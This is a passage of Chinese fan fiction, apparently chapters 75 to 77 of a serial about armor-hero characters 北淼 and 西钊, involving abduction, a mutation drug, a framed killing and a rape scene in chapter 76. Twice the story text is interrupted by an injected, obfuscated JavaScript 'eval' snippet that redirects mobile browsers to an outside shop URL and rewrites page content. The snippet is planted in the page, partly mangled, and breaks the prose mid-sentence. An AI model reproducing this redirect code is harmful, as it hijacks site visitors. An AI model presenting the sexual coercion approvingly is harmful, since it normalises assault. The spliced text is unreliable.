“北淼,我不明白。你做的这些,到底是觉得亏欠,还是对我有感情。这让我很困扰。”明明是个疑问句,尾音却没有上扬,甚至听不出起伏和情绪,“我还记得,我们曾经是心意相通的,虽然我不懂,但我能感受得到。然而现在……我想你的做法,有些本末倒置了。我无法接受你的‘过度补偿’。所以——” 什么? 北淼想把这两个字说出口,但一种不可名状的恐惧堵住他的喉咙,夺走了他的声音。 “我想了很久,关于我们、关于这段关系。它固然珍贵,我也明白你的初心,但……我想,喘一口气。这段时间,我们还是……” “西钊。”北淼从对面的苦笑里猜出了他绝不想听到的后半句,即刻厉声打断,试图挽回什么,“你在说什么傻话?快回来,我们好好谈谈。没有必要——” “北淼。”电话那头的声音愈发冰冷,而北淼在悬崖边挣扎着紧抓某人的手却愈发滚烫——他要抓不住了。 “……别说出来,西钊。” “分手吧,北淼。”不顾北淼低声的恳求,那三个字终于还是传入了北淼耳中,“没关系,我们还是朋友。只是……给彼此一些时间吧。” 再后面的话,北淼一个字都没听清。灼热的金属终于还是将他烫伤,逼迫他松开了抓着对方的手。哪怕他再怎么追,也找不见那个人的踪迹。他回过神看向手机屏幕时,电话早已挂断。北淼不甘心地打回去,接电话的果然是超市的收银员,他告诉北淼,确实有一个与西钊描述相符的人来借用过电话。 可恶,要知道任何一个用信息和电话提分手的家伙都是混蛋啊! 北淼此刻的心情就跟他的行动一样:一拳打在沙发上。现在出门找人肯定来不及,以西钊的潜行能力都不知道窜到哪里去了,他又没带电子设备,唯一的方法就是通过雪獒召唤器来定位。 北淼抓起车钥匙就箭步出门赶往ERP研究室,也顾不得到时候美真会怎么数落他。毕竟他第一次用这个方法定位西钊就差点弄出两个人打起来的乌龙、第二次因为穿越来得太突然把召唤器落在了青春学园的网球部、第三次为了从张超柏栩栩的世界回来又把新的召唤器当成媒介用,这次美真不把他在实验室里大卸八块估计都是给张家面子。 不过,这次北淼学聪明了,他没有将自己和西钊的情况全盘托出,而是熟练地搬出危机感套路,让他们相信西钊现在可能有危险,需要召唤器的定位,并且立即把北淼传送过去调查救援。 好消息是,美真和东衫没有怀疑北淼的话,开始对西钊身上的雪獒铠甲召唤器进行追踪。 坏消息是—— “这、这怎么可能?”美真难以置信地重复验算了几次,结果都如屏幕上所示:搜索结果为零,查找不到任何坐标。 “难道西钊的召唤器上也有反侦测芯片?嘶,也不对。那只是防止影界的人发现我们,ERP系统不应该探测不到。”东衫握拳轻轻敲了敲脑袋,很是费解。 站在一旁环抱手臂不停踱步的北淼逐渐失去最后一点耐心:“那有什么‘检测不出位置’的可能性吗?” 美真将座椅转向北淼,严肃道:“磁场紊乱有可能导致这种情况出现,以现在ERP卫星的精度,异常到可以掩盖召唤器的磁场照理来说是可以被捕捉到的。但如果不考虑磁场,召唤人失去生命体征,召唤器也会失去……诶、北淼,北淼!” 美真话音未落,北淼已经冲出了ERP指挥室,眨眼间就不见了踪影。 与此同时,快乐堡门前街道的树枝上,白色的羽蝶惬意地舒展翅膀,羽翼上的几道黑色折角花纹一览无余。微风拂过,惊得它振翅起舞,最终落在斜靠树下、藏身暗处的男人肩头。他背着小挎包、身穿皮衣夹克,双手随意插在裤袋里,尽可能压低自己的气息。 他摘下墨镜,朝那个从汉堡店冲出、又驾车疾驰而去的人轻蔑一笑。他松开握拳的手,一条套着戒指的项链从他手心落下,挂在他指间。黑色戒指上凹陷的犀牛纹路折射出今夜惨白的月光,如此温和,又如此刺眼。 TBC 76. 深渊之下 ※“北淼”x西钊描写注意。 ※触雷请退避。 ———————— “噩梦的好处在于: 你知道该如何醒来。” ———————— 西钊不是没有见过人类和异能兽结合的例子,他只是没有想到这件事会发生在自己身上。恢复“意识”之后,或者从他拥有感知开始,他首先察觉到五感变得极度敏锐、接着便是内心涌现的某种异样的杀意。说它异样,是因为这种杀戮的欲望并非无差别的破坏,而是有预谋、有目标的袭击——它想让西钊袭击什么。是谁、是什么,西钊完全忘了个干净。他无法在低头看着怪物一般的自己时思考任何事情——他变成了一只异能兽,尖锐的利爪上还残留着干涸不久的血迹。 而余光里刺眼的一抹猩红成功将西钊的目光吸引。他转头看去,只见地上横七竖八地躺着一户人家,不用检查也知道已经完全没有了生命体征。他们胸口和背部全都有三道深红色的爪痕,无一例外是致命伤。当下的局势再明显不过:他们死了,他是凶手。也许还有别的可能性,西钊想,但那种难以遏制的杀意甚至在诱导自己再次把魔爪伸向别处的无辜生命,这让他很难去否定他最不想承认的那个结局。 不对,这是梦吗?这是梦吧。他不认识这户人家的人、也不知道自己为什么会在这间民宅,再者,变成异能兽杀了人这件事本身就很荒谬。西钊狂跳不止的心脏不断为大脑输送血液,逼迫他冷静下来。 是梦,一定是—— 就在此时,这只“雪獒异兽”瞳孔骤缩,他的嗅觉敏感地捕捉到了浓烈的血腥味。鲜血犹如艳红色的血蛇,一点点、一点点地从红褐色的血泊中曲折钻出,蜿蜒至西钊的“兽足”之下,接着突然扩散开来,成为猩红的血海,让西钊猝不及防地向下坠落。那个瞬间,西钊忽然意识到:那个味道、只有那个味道,不是梦、绝对不是!! “——!!” 西钊一身冷汗地从梦中惊醒,条件反射地坐起身,却又被来自左手的某个力道拽了回去。他也不顾被汗水浸湿的头发和衣服,立即撑起身子调整姿势,以最大视野范围警惕地观察四周:首先,他躺在一张柔软的家居床上,周围很乱、像是被洗劫,又好像只是为了躲避什么用尽一切手段的慌乱。他不敢细想。墙上的挂钟显示现在是凌晨四点,日期已经到了两天后。他身上衣装还是那天离开北淼家的模样,但雪獒铠甲的召唤器和脖子上的项链都不见了踪影。他的左手被一个不长不短的特制手铐困在床头,即使用五行村后人的力气也挣脱不开,西钊尝试了好一阵子才发现手铐上面有一圈古语记号。等他想起那是什么标志时,梦中的那股令人作呕的血腥味也终于顺着房间流通的风从外涌入西钊的鼻腔,前天晚上的记忆也慢慢浮现在脑海。 西钊记得,他离开废弃港湾之后,便来到海边的崖壁看海。即使有城市的昏黄灯光与朦胧月色,夜的漆黑也依旧给大海增添了几分神秘与恐惧。然而,西钊就是喜欢这样的风景。因为这里会让他想起,有个人曾奋不顾身抓住即将坠落的他,带他看尽世界的所有美丽。只不过现在……西钊的叹息声消散在海风里。 他要去找北淼谈谈吗?他应该去。虽然北淼在电话里听上去像是“深思熟虑”,但西钊依然认为那是北淼恼羞成怒、一气之下的冲动之举。说出那种话的北淼心里一定也不好受,但很大可能他又拉不下脸来主动找西钊开这个口,那么,如果西钊再不采取措施,能冲淡一切的时间将会把他们回到最初起点的可能冲刷得一干二净。 而就在西钊一边这么想,一边从崖壁回到马路主干道、沿着夜路朝北淼家方向走时,他见到了一个“不可能存在”的人,更确切地说,是在“这个世界”不可能存在:那人上身是黑色高领夹克、下身是挂着链条的休闲裤,他斜靠在面前几步路的路灯杆下,仰着头、后脑抵着铁杆,黑金色的羽蝶沐浴着暗色的灯光围绕路灯转圈;他胸前背着小挎包,里面的物体发出苍白的幽光。似乎是注意到西钊的目光,他朝西钊微微侧身,偏过脑袋,与西钊完全一致的身形样貌在路灯的映衬上蒙上了一层薄纱,将诡异和不安推至高潮。 真正令西钊警铃大作的不是来自面前“镜像”饶有兴趣的注视,而是来自身后一个他曾经感受过的“熟悉”气息。本能驱使西钊即刻开启战斗姿态打算回身反击,但“镜像”立刻瞬间移动到他眼前,掐住他的下巴,限制了他的行动。就在这不到两秒钟的时间里,西钊甚至没来得及挣扎,身后人便扯着他脖子上的项链将他向后拽,面前的“镜像”也配合地松开手,让西钊因为惯性失衡,身体的重量倒在了后面的人身上。也正是此时,冰冷的针头扎进了西钊的侧颈,深绿色的液体随着那人推动细长的针管进入西钊的血液之中。到最后西钊也不知道让他失去意识的究竟是脖颈上的窒息还是体内的异变。 再次醒来时,他已经在这个房间里了。 不会错的。西钊用手肘撑起身体,捂着开始隐隐作痛的脑袋吃力地回忆。那两个人应该就是在“彼此的理想乡”中本应该死去、但因为他和北淼意外穿越而导致他们被困在时空夹缝的“北淼”和“西钊”。 “北淼”是被西钊理想乡中的另一个自己杀死的。在这个“乌托邦”中,被抓的是带着水影石的北淼,而逃走的是带着金影石和小雪的西钊。界王将小雪作为北淼“变强”的理由。表面上是界王利用北淼摧毁光影铠甲,实际上是北淼利用界王从西钊手中夺回妹妹小雪。在影界独自生活、只有小雪这一个执念的“北淼”,性格直率、傲慢,充满了对“正义”的不屑与轻蔑,为达目的可以不择手段,如果原初世界的北淼只是被美真形容成“炸药”,那么“北淼”可以说是实打实的“火箭筒”。他没有普世价值观,唯一的“人性”只有小雪;他非善非恶,也不在乎在别人眼里他是好是坏,他纯粹得如同真正的“水”,清澈见底。 “西钊”是被北淼理想乡里的另一个北淼杀死的。在那个完美的世界里,北淼成功带着水影石和小雪逃走、一起快乐地长大,而被抓走的只有西钊。西钊一个人孤独地在阴暗的影界、在界王非人道的训练下机械般地用“报恩”自我洗脑,度过了灰色的十年。后来,他尝试加入光影铠甲的队伍,却同样被那个世界的北淼百般刁难,甚至警告他“漆黑洞穴里的臭虫不属于阳光下的世界”。就连唯一站在西钊那边的坤中,最终也被北淼的花言巧语动摇了那份珍贵的友谊与信任。据原初世界的北淼回忆,这个“西钊”给他的感觉只有“平静的绝望”,那团“我想要光明正大被他们杀死”的光芒,被可笑的绝对正义层层包裹,直至在那个人的内心世界变得暗无天日。他本不愿继续作恶,却又总是被逼入绝路。时至今日,或许没有什么能让他再度回头。 ……这怎么可能。 西钊感觉有人在不停击打自己的脑袋,让疼痛愈演愈烈,也让他的神智再次开始模糊。老实说,他一直以为那是一场非常真实的“梦境”,为了让他和北淼永远无法醒来而创造的“乌托邦”,然而今天这两个人的出现彻底推翻了西钊的设想:他们是真实存在的,而且现在,他们来到了这个世界。不,不对,最重要的是——他们是、也仍是影界的一员。 结合前两天晚上发生的事,西钊顿时感到脊背发凉,出现这种恐惧和不安并非因为他拥有战士的直觉,而是源于人类最根本的求生欲:有什么可怕的事情即将发生,又或者已经发生了。西钊立马使出全力开始一次次拉拽床头的镣铐,但带着影界符文的束缚令他无论如何都无法挣脱。 “省省力气吧,我们还有很多事要做呢。” 就在西钊的手腕逐渐被勒出血痕之时,一个熟悉又陌生的声音传入西钊耳中。他猛然间抬头,是北淼——不。西钊一眼就发现了不对劲。不论是衣着、气场、眼神,这个人哪一点都和北淼大相径庭:这是来自异世界的“北淼”。只见“北淼”信步晃悠进房间,随意地斜了身子靠在衣柜上,墨镜架在耳后抬至头顶,毫不矜持地敞开皮夹克和衬衣,唯独不放下那散发深绿微光的挎包。 西钊停下动作之后才注意到,“北淼”左手的袖子拉到了手肘,小臂有两道深深的可怖牙印,看上去明显是某种野兽的咬痕,如此骇人的伤口却没有往外渗血,而是“流”出和挎包同样的深绿色幽光。这让西钊愣了半晌,直到“北淼”的哼笑咋还让他回神。 “北淼”抬起受伤的左手,横在眼前翻转查看,保持姿势抬眼望向西钊,深邃的双眸几乎要将对面的人刺穿:“哦?这么快……就忘了?” 忘了你晕过去之前、都做了什么吗? “呃……”西钊想要与“北淼”对峙,但他的太阳穴开始随着加速的心跳疼痛不止,心脏的每一次跳动都仿佛在往他的太阳穴打进一枚钢钉。什么叫“忘了”?他应该想起来什么吗?在他失去意识的两天里到底做了什么?不行,想不起来,完全想不起来。 “我说,你闻到了吧。”“北淼”语气轻松地一步步靠近,蹲在床边与西钊平视,他的手肘慢慢搭上床沿,在西钊抬脚踹他之前用受伤的左手按住西钊的大腿,掌心从腿根向上抚至腰腹的同时倾身上前,虽没有其他接触,但也给予了对方无形的重量,只听“北淼”低声道,“血腥味,还没散掉呢。” 西钊惊诧得甚至没去管“北淼”的手还在自己腰上,下意识地坐直身子往后缩,但身后的床板和墙壁让他无路可退。他的“我不明白你在说什么”还在嘴边,“北淼”接下来拿出的一管深绿色药剂就将西钊这句话死死压了回去。虽然西钊的脑袋又开始隐隐作痛,但“北淼”的声音比任何时候都要清晰:“变成‘异能兽’的感觉怎么样?我想,肯定没有手上沾满鲜血来的刺激,是吗?只是这药,还有些不完善,狗连自己的主人都咬,那可不行啊。” 西钊的诧异逐渐转为惊恐,他低头看向自己的掌心,却怎么也无法聚焦。不是他看不清,而是他的手止不住地颤抖。霎时,梦里沾满刺眼猩红的“野兽”利爪与现实中的手不断重合,西钊眼中也一次次开始闪现“影像”:异化的自己、无助的家庭、残暴的屠杀、沉寂的死亡。这些无一不在他的脑海向他尖叫呐喊——你变成怪物,杀了人。 西钊将右手掌心用力按在额头,破碎的记忆让他额角冒出细密的汗珠,他的呼吸开始随着升温的血液变得紊乱,压抑着的情绪和无法消化的信息正一步步将他拉向崩溃。 “北淼”看准时机,一把扯开西钊捂住脸的手,将那份脆弱在自己面前完全展露。他从口袋中拿出那条挂着戒指的项链在西钊眼前晃了晃,西钊伸手想要抢,接着就被“北淼”掐着手腕按在床头。“北淼”依旧拎着戒指项链,低头伏在西钊耳边,将吐息涂抹在他颈侧:“被甩了就别热脸贴冷屁股了。现在的你,连铠甲都召唤不了。只有待在我身边,你才能保持‘人’的理智。” “是你……”西钊一边奋力挣扎,一边咬牙切齿道,“那通电话、是你。北淼他不会做出这种——” “北淼”按住西钊被铐住的左手,精准地将手铐的边缘处对准了西钊方才挣扎时划出的伤口,愉悦地听着西钊因此而发出的沉闷哼声。他将项链随手塞回口袋,一个不留神已是翻身上床,架在西钊身上:“哦?是吗?他‘不会’的事,还多着呢。还是说你觉得,就算他不甩了你,也能接受一只‘异能兽’回归他们的队伍?别忘了,你手上可是有好几条人命。” “别说了……”“北淼”的身子压得越来越低,西钊的声音也变得几不可闻。 “其实你一直都记得,生命流逝的感觉、血液在手里的温度——” “别说了!北淼!!” 西钊好不容易挣脱开的右手握拳就往“北淼”脸上挥去,却依然被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334704|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方以掌抵住。“北淼”戏谑地笑着,扭转握住的拳头,在西钊痛呼出声时用暴力的、侵略性的吻堵住了他的所有声音。西钊的呼吸急促、早就乱了节拍,像是被迫困在一个不断收紧的牢笼之中。他知道自己应该继续反抗,可身体的力量正在被一寸寸剥夺,像是有人残忍地掐灭火苗,只留下摇摇欲坠的黑暗。“北淼”敏锐地察觉到这一点,偏头咬住了西钊的锁骨,齿尖故意碾压在皮肤上,直到西钊因疼痛而发出压抑的喘息。“北淼”低笑着,唇齿离开时留下一片暧昧的痕迹。 他抬起手,强硬地扣住西钊的下颌,小臂的伤口在这激烈的动作中划出光芒的残影。他将西钊的脸转向自己,强迫西钊直视他那双凌厉而戏谑的眼睛:“真漂亮。那家伙在我身下的时候,可没有这种风景。” 话音刚落,他便用力将西钊的手臂完全压制在头顶,身体彻底覆下,暴力的重量让西钊连挣扎的余地都被剥夺了去。西钊的胸膛剧烈起伏,他奋力扭动,却只换来更粗暴的回应。“北淼”低头,带着掠夺意味的吻狠狠咬住西钊的唇。不同于先前的挑衅,这一次没有丝毫留情,齿舌侵入,仿佛要彻底摧毁西钊最后的防线。 “住手……!”西钊断断续续地吐出声音,眼角甚至因极度的压迫而泛出湿意。但很可惜,面前人不是他的北淼,也没有“说停即止”的约定。 “北淼”不仅没有停下,反而乐在其中、沉溺于此。他的手顺着西钊的腰线一路滑下,带着强硬与恶意的探寻。西钊浑身僵硬,像是被迫悬在深渊边缘摇摇欲坠,愤怒与恐惧交织成巨浪,他却无处宣泄。绝望与羞耻混合着炙热,令西钊的眼神彻底动摇,他还想说“不”,却只剩下一声颤抖的哽咽,被压进无尽的火焰之中。 “往前是黑暗,往后是深渊,你——还能回头吗?” 这是西钊再次失去意识之前听到的最后一句话。 ———— 清晨的阳光越过林立的高楼,肆意涌进这间不起眼的民宅里,将床上刚从昏睡中醒来的人轻柔地包裹。 西钊衣襟凌乱,身上只盖了条薄毯。他的镣铐虽然已经被解开,但内圈依然能看见一些血迹;他的手指紧紧攥着床单,指节泛白,全身的疼痛抽干了他最后一丝力气,被凌辱的不甘与愤怒让他在痛苦之中保持着唯一的、也是最后的理智和清醒。 “北淼”靠在床对面的梳妆台边,气息平稳得惊人,仿佛刚才的强硬与疯狂不过是一场随兴的游戏。他低头整理着袖口,手臂上的伤口也没有了之前的光晕,只留下几道浅浅的伤疤。他的嘴角微微勾起,像是挑衅,又像是意犹未尽:“看来无论是谁,只要是这张脸,你都会有感觉。” “……闭上你的嘴。”西钊瞪着“北淼”,牙后跟都要咬碎了,像是随时要扑过去撕咬猎物的藏獒。但除了嘴上缥缈虚弱的“威胁”之外,他什么也做不到。 “北淼”几乎是无视了西钊的话。他缓缓走近,俯下身伸手捏住西钊的下颚,再次迫使他抬头与自己对视。“北淼”的力道不重,却带着不可抗拒的压迫:“训狗可比打狗有趣多了。你知道,我没有伤害你的意思。乖乖帮我的忙,事情就会简单很多。反正……你已经脏了。” 西钊扭头想挣脱开“北淼”的手,房间门忽然被打开。西钊肉眼可见地变得警惕,但“北淼”却跟没听见似的,头也没回,松开钳制西钊的手,直起身伸了个懒腰:“哟,还知道回来?可惜,你错过了‘另一个你’杀人的场面。” “西钊”没有马上理会“北淼”,保持着开门的姿势环顾房间,并用最快的速度大致猜测了这里发生的一切。他做的第一件事,是从柜子里拿出医药箱、又倒了杯水,坐在靠西钊这头的床边。也不知是因为自己的镜像带来的些许亲近感,还是因为根本没有残余的力气,西钊被“西钊”扶起来靠坐在床头时并未作何反抗。“西钊”先是给西钊喂了些清水,接着便拉过他的左手,用酒精和纱布开始为他处理被镣铐磨出血的伤口。 看到西钊满身上下的痕迹,“西钊”以一种奇妙的、困惑又无奈的神情看向北淼,嘴角扯出亦真亦假的笑容:“你还真是……‘不挑食’啊,北淼。” “他?哼。他可比你有意思多了。”“北淼”不屑地“嘁”了一声,环抱双臂,摇头叹气,“你就是血见得太多,占不到便宜。不像他,哪里都有‘缝’,在哪儿都能扎根针。” 提到“血”,“西钊”想起他进来时看到的满地尸体:一共5人,三男二女,应该是一家人。被杀时很慌乱,家里全都一片狼藉。而且不是集体动手,是全部追杀完毕之后集中堆尸。“西钊”大致看了一下他们的伤口:爪痕——但颜色很深,深得不自然,血也没有在伤痕周围扩散,就好像是……死亡以后才造成的。他们真正的致命伤似乎是窒息、或者其他内伤——因为“西钊”看到了脏器破裂才会出现的症状,以及满地乱七八糟的血。可是为什么?既然如此,抓痕不是多此一举吗? “西钊”想不通,打算问问“北淼”具体情况,正好西钊手腕的伤也包扎完毕。然而当“西钊”准备收拾东西时,西钊突然在他起身那一刻抓住了他的衣角。 “……是我杀的吗?”西钊说得毫无底气,“进来的时候,你一定看到了。那些人,是我杀的吗?” “西钊”本想回答自己关于爪痕的矛盾猜测,但余光里感觉到“北淼”意味深长的视线之后,似乎明白了什么。他给“北淼”使了个眼色,示意他们出去说,接着转过身,用毛巾垫着一个新镣铐的内圈,重新将西钊的手拷在床头。 “抱歉。”“西钊”说,“我希望不是。” 西钊望着二人出去的背影,将“北淼”刚刚翻云覆雨时扔在床头的项链紧紧抓在手中。戒指的冰凉迅速传递到西钊的掌心,又慢慢渗透进他的心里。 这一次,他没有试着再逃。 TBC 77. 破窗 ———————— “你知道……破窗效应吗?” ———————— “西钊”从闲置的房间随意扯下一整片窗帘布,回到客厅时顺手将其盖在几人的尸体上,以示他能做到的最大程度的尊重。“北淼”环抱双臂靠在墙边,只是淡淡瞥了“西钊”一眼,一句“多事”便移开目光不再多言,直至“西钊”跨过凌乱的地面和脏污的血渍来到他面前。 “怎么回事?”没有多余的寒暄,“西钊”歪头将视线转至地上盖着的窗帘布,开门见山地问道,“爪痕是在他们死后才留下的。你利用‘异化’的不稳定性嫁祸给他,这点我先不提。我更好奇,是谁杀了他们。” 是你吗? 即使“西钊”不说出口,他看向“北淼”的目光里也毫不掩饰自己的怀疑和困惑。但面对指控,“北淼”却是微微摇了摇头,伸出左手,将破口的皮衣夹克和手臂上的伤疤展示给“西钊”看,像是说儿童故事般道来了整个事情的来龙去脉。 ———————— 当时他们在深夜的街道放倒西钊之后,“西钊”便在西钊昏迷时将“同源契印”烙印在了他身上。“西钊”不得不承认,丑将曾经留下的影界印记还真是给他们行了个方便。“西钊”通过契印能够看到另一个自己的记忆,因此他们计划兵分两路:“西钊”利用他得到的记忆,找到除北淼之外,与西钊关系较为紧密的人进行演绎测试,以确保后续行动不会轻易被揭穿;而“北淼”则带着被注射了“异化药剂”的西钊在附近城市找落脚点,监督他的“异化”情况。 计划一开始还算顺利,“北淼”将西钊带入一间闲置的独栋民宅,随便找个沙发就把他丢下了。药剂的效果很快显现,他们进房还不到十分钟,沙发上的人便开始捂着脑袋痛苦地蜷缩着,不断发出细碎的呻吟和呜咽。仅仅数秒过去,体内像是被什么生生撕裂的疼痛让西钊止不住在沙发上翻滚,最终摔在地上。他感觉到无数尖刺在血管中流淌,穿透他的骨髓、基因,永远地改变了他。当被压抑在喉咙里的声音因身体受到撞击而释放,脆弱的呻吟与呜咽已变为声声低吼,犹如即将敞开马力驰骋的引擎不断发出轰鸣。等他再站起身,已然不再是那副消瘦的人形,而是一只毛色灰白、双瞳漆黑,拥有藏獒首级、野兽手足、人类身躯的“异能兽”,右手臂厚实的毛发下,还有什么东西在忽闪着令人发寒的幽暗绿光。 “北淼”双手插着口袋,在一旁目睹全程。老实说,他一直觉得界王的审美很烂,手里的异能兽就没几个能看的,这让他每次出任务都心情微妙:一边是丑到极致的小吏,一边是虚伪恶心的正义,心情差的时候甚至两边都想扎一枪。不过,经过改良和升级解放分析构造技术,这种“根据受试者体质”诞生的异能兽,似乎长得还挺顺眼,也不知道是不是西钊本来底子就好的缘故。“北淼”抬手意味深长地抚摸着下巴,用戏谑的眼神与瞪着他嘶吼的“藏獒”对视。似乎是由于药剂的缘故,西钊并没有对“北淼”发动攻击,但依旧龇牙咧嘴地保持警惕。 正当“北淼”在脑海里翻阅《训狗指南》、思考怎么操控西钊袭击五行村后人时,开门声忽然响起,接着是你一言我一语的嬉闹声:这间房子的主人们回来了。“北淼”反应迅速,即刻想到使用影界的传送秘技,却发现西钊——或者说异能兽——像是嗅到警戒许久的目标,甚至不用多加观察便精准地朝刚进来的几人扑过去。尖叫声随着奔逃的人在整个房子里四散开来,他们想往门口跑,那只雪獒异兽早已以残影般的速度堵住他们的退路。而站在客厅角落挨着餐厅岛台边、从头到脚都写着“我是坏人”的“北淼”更是把往客厅逃跑的几人吓得无措地跌坐在地。“北淼”本不想理会这些草芥之民,被他一直背在腰间的挎包却在此刻发出深绿色的微光,一阵奇异的脉动随之传来。“北淼”很熟悉这种感觉。他们来到这个世界时为平衡异界光影石带来的磁场,对光影石做了些手脚,但如果现在它起反应,只有一种可能—— “北淼”的思绪被尖叫声打断,他的视线迅速转向声源。只见西钊化成的异能兽对着瘫坐在地的女性张开满是尖牙利齿的嘴,即将咬断她的喉咙。千钧一发之际,“北淼”本能地瞬移至一人一兽之间,抬起左手横在身前,硬生生地接下了那咬合力足以断筋折骨的袭击。即使是身经百战的“北淼”,在没有铠甲的保护下直接承受来自异能兽的攻击多少也有些过分刺激了。他轻声地倒吸凉气,稳住下盘借由手臂卡在西钊嘴里的姿势死死地抵住迎面而来的压迫,来自黑犀的强大防御力量让他虽动不了西钊几分,却也没有被压退半步。也正是在此时,比起“自己手臂被獠牙深深刺穿的伤口溢出的不是血而是流光”这件事,“北淼”更在意的是:眼前这只自人类异变而来的凶兽,正在流泪。澄澈的泪水从那双深不见底的眸中盈溢而出,浸湿了“它”脸侧的灰白毛发,与“它”喉咙中持续的低吼、狰狞可怖的面容形成强烈反差。 “……” “北淼”刚刚在看到光影石有反应时产生了一瞬迟疑,当时他并不知道原因。现在看着“野兽的眼泪”,他心里有了答案:或许,在他内心深处,还是不希望这个人手里沾染鲜血的,不管是这个西钊,还是他的“西钊”。因为“北淼”知道,有些底线一旦越过,就再也无法回头了。 “北淼”本想借此机会召唤黑犀铠甲,或者解除光影石的“限制”让西钊暂时恢复正常,然而,比行动派“北淼”更具行动力的,是从地缝中、阴影里渗透出来的浓稠黑雾,几乎要将房子里的所有事物吞没。“北淼”心里一沉:那家伙来了。还没等他采取什么措施,就听见黑雾里此起彼伏的挣扎与惨叫,不知是幸运还是不幸,惨叫并没有持续多久。这五个在错误时间出现在正确地点的人——不,应该说:水村后人——就这样被黑雾蚕食至死。“北淼”翻遍脑子里的所有词汇,精挑细选出最文明的脏话暗暗骂了一声。说好的不杀人呢?这五行村后人是一杀一个准啊。 好在,也不知是黑雾的出现还是“目标”已经完全被歼灭,雪獒狂乱的嘶吼声越来越低,咬合在“北淼”手臂上的力道也越来越轻,最终,灰白的异兽松了口,随着微弱的白光一闪,西钊恢复了原本的模样,如同断线木偶“咚”的一声摔在地上昏迷不醒。 “北淼”一边抱怨“计划赶不上变化”,一边收回手臂查看自己的伤势,刚翻了个白眼,那黑雾就好似感受到“北淼”的敌意和不满,发出了熟悉的阴沉笑声。由于雾气几乎填充整栋宅子,声音的传播仿佛在客厅里装了个立体环绕音响,震得“北淼”耳朵一阵嗡鸣,多少有点“四面楚歌”的味道了。 “北淼”还在不耐烦地用另一边手的小指堵着耳朵时,那黑雾的声音逐渐靠近,邪恶的腐烂气息几乎直冲“北淼”面门:“我把你们带到这个世界,可不是为了让你们有‘恻隐之心’的。只要让‘异化兽’继续感染五行村后人、改变他们的基因、消除他们的记忆,我自然不会有取他们性命的闲心。” “北淼”不屑地嗤笑,抬起依旧在溢出水绿色流光的左手臂:“你管这叫‘不取性命’?” “疯狗脱缰,好狗认主。”黑雾的声音调转方向,这次似乎贴到了“北淼”耳边:“我给了你一条狗。该怎么训,是你的事情,不是么?” 黑雾故意在西钊昏迷的地方散去部分身形,让“北淼”能够看清侧躺在地面依旧冒着冷汗皱眉呓语不止的人。“北淼”没有立即回答,蹲身将西钊打横抱起,尽管黑雾笼罩,也信步朝卧室的方向走去,黑色皮靴在木质地板上发出清亮的“咔哒”声,有意无意地散发出“逐客”的低气压。那团汹涌的黑雾似乎也察觉到了这点,留下一句“这次是‘杀鸡儆猴’下次可就没那么简单了”便消失在阴影之中,没有留下丝毫痕迹,只有满屋子狼藉和血腥味证明方才的惨剧真真切切地发生过。 “北淼”将西钊放在主卧的床上,已然不再是平日里那副戏谑的模样。余光里是客厅和餐厅这家人尚有余温的尸体,因此他的脸色算不上好看,神情也渐渐变得严肃。他莫名想起黑雾那句“训狗”的话,又想起“西钊”听闻自己打算取代北淼时毫不犹豫地承担“消散”的风险。他不着痕迹地咬合后牙,俯身看向大约是被困在梦魇中的西钊,深邃的眼眸渐渐浮现出复杂难懂的情绪。 直到西钊在梦中低语了一句“北淼”,“北淼”才从愣神中惊醒。他瞧着这既脆弱又坚强的“金”,不禁自嘲地笑出声。他不再多虑,从挎包里拿出了经过特殊处理的水影石。而他最后留给西钊的,只有一句: “……得罪了。” ———————— “所以,你让他再次‘异化’,刻意制造了那些伤口,让他误以为,是自己杀了他们。”“西钊”一边帮“北淼”补完最后一段众所周知的结论,一边往西钊所在的主卧偷瞄。 “北淼”对这个话题没什么深入讨论的心情,只是敷衍地点点头,也不知是“嗯”还是“哦”了一声,耸耸肩膀:“反正,他只有待在我们身边才能保持‘人形’和‘人性’,失去我们俩身上光影石的磁场平衡,就跟解开疯狗的绳子没区别。你也知道,控制一个人最好的方法,就是先击溃那个人的心。养条我们的自己的‘狗’,不也挺好的吗?” 从影界和界王那里学来的阴招全用在训狗上了。看来,这家伙对自己被形容成“影界的狗”这件事记仇颇深啊。“西钊”一时语塞,在开口损人和转移话题之间选择了后者:“这件事如果处理不好,很可能适得其反。接下来交给我处理。” “西钊”往主卧走之前,又回头对“北淼”补了一句:“还有,北淼,以后不许碰他。”他的语气很微妙,听不出是在单纯地“护短”还是所谓的“醋意”。 “是是——知道了。啰嗦。”“北淼”哀叹着瘫在沙发上,翘起腿、手臂在靠背上伸展开来,瞟了眼进门的“西钊”之后,便百无聊赖地闭眼浅眠。 ———————— 尽管知道不会有回应,“西钊”进房间时还是敲了敲门。 或许是“异化药剂”增强了受试者的体质,也可能只是经受过影界严苛训练的西钊本身素质就不差,“西钊”进来时他已经靠坐在床头,望着被帘子遮住的、窗外的方向,神色异常专注,看起来像是在沉思,又好像只是在发呆。 “西钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334705|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”没有第一时间打招呼,绕过床为西钊打开窗帘。窗外旭日高升,早些时候橙红色的光晕已经白得发烫、亮得刺眼,让西钊不禁回过神抬起没有被束缚的手遮挡。这时,他才终于把目光放在“西钊”身上:来自另一个世界的自己,逆着阳光站在床前,仿佛破碎的镜像折射出完全一致的、深渊之下的虚影。 西钊缓慢地扭开头、转移视线,手中依旧紧攥着那条项链,似乎没有聊天的兴致。 